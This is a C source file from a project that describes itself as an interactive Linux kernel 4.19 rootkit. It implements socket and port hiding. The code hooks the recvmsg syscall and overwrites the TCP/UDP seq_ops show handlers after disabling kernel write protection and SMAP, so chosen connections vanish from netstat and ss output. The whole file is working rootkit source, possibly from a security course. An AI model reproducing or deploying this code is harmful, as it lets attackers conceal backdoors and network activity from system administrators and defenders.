linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

sockhide.c (8951B)


      1 #include <linux/kernel.h>
      2 #include <linux/seq_file.h>
      3 #include <net/inet_sock.h>
      4 #include <linux/inet_diag.h>
      5 #include <linux/byteorder/generic.h>
      6 #include <asm/smap.h>
      7 #include <linux/version.h>
      8 
      9 #include "common.h"
     10 #include "hook.h"
     11 #include "sockhide.h"
     12 #include "packhide.h"
     13 #include "porthide.h"
     14 
     15 port_list_t hidden_ports = {
     16     .port  = -1,
     17     .proto = -1,
     18     .prev = NULL,
     19     .next = NULL,
     20 };
     21 
     22 port_list_t_ptr hidden_ports_tail = &hidden_ports;
     23 
     24 static asmlinkage ssize_t (*sys_recvmsg)(struct pt_regs *);
     25 
     26 static int (*tcp4_seq_show)(struct seq_file *seq, void *v);
     27 static int (*udp4_seq_show)(struct seq_file *seq, void *v);
     28 static int (*tcp6_seq_show)(struct seq_file *seq, void *v);
     29 static int (*udp6_seq_show)(struct seq_file *seq, void *v);
     30 
     31 static int g7_tcp4_seq_show(struct seq_file *, void *);
     32 static int g7_tcp6_seq_show(struct seq_file *, void *);
     33 static int g7_udp4_seq_show(struct seq_file *, void *);
     34 static int g7_udp6_seq_show(struct seq_file *, void *);
     35 
     36 void
     37 hide_sockets(void)
     38 {
     39     if (!sys_recvmsg) {
     40         sys_recvmsg = (void *)sys_calls[__NR_recvmsg];
     41 
     42         tcp4_seq_show
     43             = ((struct seq_operations *)kallsyms_lookup_name("tcp4_seq_ops"))->show;
     44 
     45         tcp6_seq_show
     46             = ((struct seq_operations *)kallsyms_lookup_name("tcp6_seq_ops"))->show;
     47 
     48         udp4_seq_show
     49             = ((struct seq_operations *)kallsyms_lookup_name("udp_seq_ops"))->show;
     50 
     51         udp6_seq_show
     52             = ((struct seq_operations *)kallsyms_lookup_name("udp6_seq_ops"))->show;
     53 
     54         disable_protection();
     55 
     56         sys_calls[__NR_recvmsg] = (void *)g7_recvmsg;
     57 
     58         ((struct seq_operations *)kallsyms_lookup_name("tcp4_seq_ops"))->show
     59             = (void *)g7_tcp4_seq_show;
     60 
     61         ((struct seq_operations *)kallsyms_lookup_name("tcp6_seq_ops"))->show
     62             = (void *)g7_tcp6_seq_show;
     63 
     64         ((struct seq_operations *)kallsyms_lookup_name("udp_seq_ops"))->show
     65             = (void *)g7_udp4_seq_show;
     66 
     67         ((struct seq_operations *)kallsyms_lookup_name("udp6_seq_ops"))->show
     68             = (void *)g7_udp6_seq_show;
     69 
     70         enable_protection();
     71 
     72         hide_packets();
     73     }
     74 }
     75 
     76 void
     77 unhide_sockets(void)
     78 {
     79     if (sys_recvmsg) {
     80         disable_protection();
     81         sys_calls[__NR_recvmsg] = (void *)sys_recvmsg;
     82 
     83         ((struct seq_operations *)kallsyms_lookup_name("tcp4_seq_ops"))->show
     84            = (void *)tcp4_seq_show;
     85 
     86         ((struct seq_operations *)kallsyms_lookup_name("tcp6_seq_ops"))->show
     87            = (void *)tcp6_seq_show;
     88 
     89         ((struct seq_operations *)kallsyms_lookup_name("udp_seq_ops"))->show
     90            = (void *)udp4_seq_show;
     91 
     92         ((struct seq_operations *)kallsyms_lookup_name("udp6_seq_ops"))->show
     93            = (void *)udp6_seq_show;
     94 
     95         enable_protection();
     96         sys_recvmsg = NULL;
     97 
     98         unhide_packets();
     99         clear_hidden_ports();
    100         clear_hidden_lports();
    101     }
    102 }
    103 
    104 void
    105 hide_port(port_t port, proto_t proto)
    106 {
    107     add_port_to_list(hidden_ports_tail, port, proto);
    108 
    109     if (proto == tcp4 || proto == tcp6)
    110         hide_lport(port);
    111 }
    112 
    113 void
    114 unhide_port(port_t port, proto_t proto)
    115 {
    116     remove_port_from_list(&hidden_ports, port, proto);
    117 
    118     if (proto == tcp4 || proto == tcp6)
    119         unhide_lport(port);
    120 }
    121 
    122 void
    123 clear_hidden_ports(void)
    124 {
    125     port_list_t_ptr i = hidden_ports_tail;
    126     while ((i = remove_port_from_list(i, i->port, i->proto)));
    127 }
    128 
    129 bool
    130 list_contains_port(port_list_t_ptr list, port_t port, proto_t proto)
    131 {
    132     return !!find_port_in_list(list, port, proto);
    133 }
    134 
    135 port_list_t_ptr
    136 find_port_in_list(port_list_t_ptr head, port_t port, proto_t proto)
    137 {
    138     port_list_t_ptr i;
    139     for (i = head; i; i = i->next)
    140         if (i->port == port && (proto == -1 || i->proto == proto))
    141             return i;
    142 
    143     return NULL;
    144 }
    145 
    146 port_list_t_ptr
    147 add_port_to_list(port_list_t_ptr tail, port_t port, proto_t proto)
    148 {
    149     port_list_t_ptr node;
    150     node = (port_list_t_ptr)kmalloc(sizeof(port_list_t), GFP_KERNEL);
    151 
    152     if (node) {
    153         node->port = port;
    154         node->proto = proto;
    155         node->next = NULL;
    156         node->prev = tail;
    157         tail->next = node;
    158         hidden_ports_tail = node;
    159         return node;
    160     }
    161 
    162     return NULL;
    163 }
    164 
    165 port_list_t_ptr
    166 remove_port_from_list(port_list_t_ptr list, port_t port, proto_t proto)
    167 {
    168     port_list_t_ptr i = find_port_in_list(list, port, proto), ret = NULL;
    169 
    170     if (i && (i->port != -1 && i->proto != -1)) {
    171         if (i->next)
    172             i->next->prev = i->prev;
    173         else
    174             hidden_ports_tail = i->prev ? i->prev : &hidden_ports;
    175 
    176         if (i->prev) {
    177             i->prev->next = i->next;
    178             ret = i->prev;
    179         }
    180 
    181         kfree(i);
    182     }
    183 
    184     return ret;
    185 }
    186 
    187 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/smap.h#L58
    188 static inline void
    189 disable_smap(void) {
    190 #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 2, 0)
    191     alternative("", __stringify(__ASM_STAC), X86_FEATURE_SMAP);
    192 #else
    193     alternative("", __ASM_STAC, X86_FEATURE_SMAP);
    194 #endif
    195 }
    196 
    197 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/smap.h#L52
    198 static inline void
    199 enable_smap(void) {
    200 #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 2, 0)
    201     alternative("", __stringify(__ASM_CLAC), X86_FEATURE_SMAP);
    202 #else
    203     alternative("", __ASM_CLAC, X86_FEATURE_SMAP);
    204 #endif
    205 }
    206 
    207 /**
    208  * SS-Hiding
    209  * We rely on disabling SMAP, because gathering
    210  * the total packet length is tedious
    211  * (Or we just didn't find the right way)
    212  * Nice sources for this section:
    213  * https://man7.org/linux/man-pages/man7/netlink.7.html
    214  * https://man7.org/linux/man-pages/man3/netlink.3.html
    215  * https://elixir.bootlin.com/linux/v4.19/source/include/net/netlink.h (protocol stuff)
    216  * https://elixir.bootlin.com/linux/v4.19/source/include/linux/netlink.h (macros)
    217  **/
    218 asmlinkage ssize_t
    219 g7_recvmsg(struct pt_regs *pt_regs)
    220 {
    221     size_t i;
    222     ssize_t ret, len;
    223     struct nlmsghdr *nh;
    224 
    225     if ((len = ret = sys_recvmsg(pt_regs)) < 0)
    226         return ret;
    227 
    228     disable_smap();
    229     //Retrieve the netlink header from the so called 'scatter/gather array' iovec
    230     nh = (struct nlmsghdr *)((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base;
    231 
    232     while (nh && NLMSG_OK(nh, len)) {
    233         int src = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_sport);
    234         int dst = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_dport);
    235 
    236         if (list_contains_port(&hidden_ports, src, -1)
    237             || list_contains_port(&hidden_ports, dst, -1))
    238         {
    239             //Get length of _aligned_ message for overwriting
    240             int alignment = NLMSG_ALIGN(nh->nlmsg_len);
    241             for (i = 0; i < len; ++i)
    242                 ((char *)nh)[i] = ((char *)nh)[i + alignment];
    243 
    244             ret -= alignment;
    245         } else
    246             nh = NLMSG_NEXT(nh, len);
    247     }
    248 
    249     enable_smap();
    250     return ret;
    251 }
    252 
    253 
    254 /**
    255  * Netstat-Hiding
    256  **/
    257 
    258 //seq and v include all the info we need
    259 //https://elixir.bootlin.com/linux/v4.19/source/include/linux/seq_file.h#L16
    260 //https://elixir.bootlin.com/linux/v4.19/source/net/ipv4/tcp_ipv4.c#L2385
    261 static int
    262 g7_tcp4_seq_show(struct seq_file *seq, void *v)
    263 {
    264     //SEQ_START_TOKEN is used to indicate that a
    265     //header will be returned first
    266     if(v == SEQ_START_TOKEN)
    267         return tcp4_seq_show(seq, v);
    268 
    269     struct sock *sk = v;
    270     const struct inet_sock *inet = inet_sk(sk);
    271 
    272     port_t src = ntohs(inet->inet_sport);
    273     port_t dst = ntohs(inet->inet_dport);
    274 
    275     if(list_contains_port(&hidden_ports, src, tcp4)
    276     || list_contains_port(&hidden_ports, dst, tcp4))
    277         return 0;
    278 
    279     return tcp4_seq_show(seq, v);
    280 }
    281 
    282 //This following hooks are basically the same as above
    283 static int
    284 g7_tcp6_seq_show(struct seq_file *seq, void *v)
    285 {
    286     if(v == SEQ_START_TOKEN)
    287         return tcp6_seq_show(seq, v);
    288 
    289     struct sock *sk = v;
    290     const struct inet_sock *inet = inet_sk(sk);
    291 
    292     port_t src = ntohs(inet->inet_sport);
    293     port_t dst = ntohs(inet->inet_dport);
    294 
    295     if(list_contains_port(&hidden_ports, src, tcp6)
    296     || list_contains_port(&hidden_ports, dst, tcp6))
    297         return 0;
    298 
    299     return tcp6_seq_show(seq, v);
    300 }
    301 
    302 static int
    303 g7_udp4_seq_show(struct seq_file *seq, void *v)
    304 {
    305     if(v == SEQ_START_TOKEN)
    306         return udp4_seq_show(seq, v);
    307 
    308     struct sock *sk = v;
    309     const struct inet_sock *inet = inet_sk(sk);
    310 
    311     port_t src = ntohs(inet->inet_sport);
    312     port_t dst = ntohs(inet->inet_dport);
    313 
    314     if(list_contains_port(&hidden_ports, src, udp4)
    315     || list_contains_port(&hidden_ports, dst, udp4))
    316         return 0;
    317 
    318     return udp4_seq_show(seq, v);
    319 }
    320 
    321 static int
    322 g7_udp6_seq_show(struct seq_file *seq, void *v)
    323 {
    324     if(v == SEQ_START_TOKEN)
    325         return udp6_seq_show(seq, v);
    326 
    327     struct sock *sk = v;
    328     const struct inet_sock *inet = inet_sk(sk);
    329 
    330     port_t src = ntohs(inet->inet_sport);
    331     port_t dst = ntohs(inet->inet_dport);
    332 
    333     if(list_contains_port(&hidden_ports, src, udp6)
    334     || list_contains_port(&hidden_ports, dst, udp6))
    335         return 0;
    336 
    337     return udp6_seq_show(seq, v);
    338 }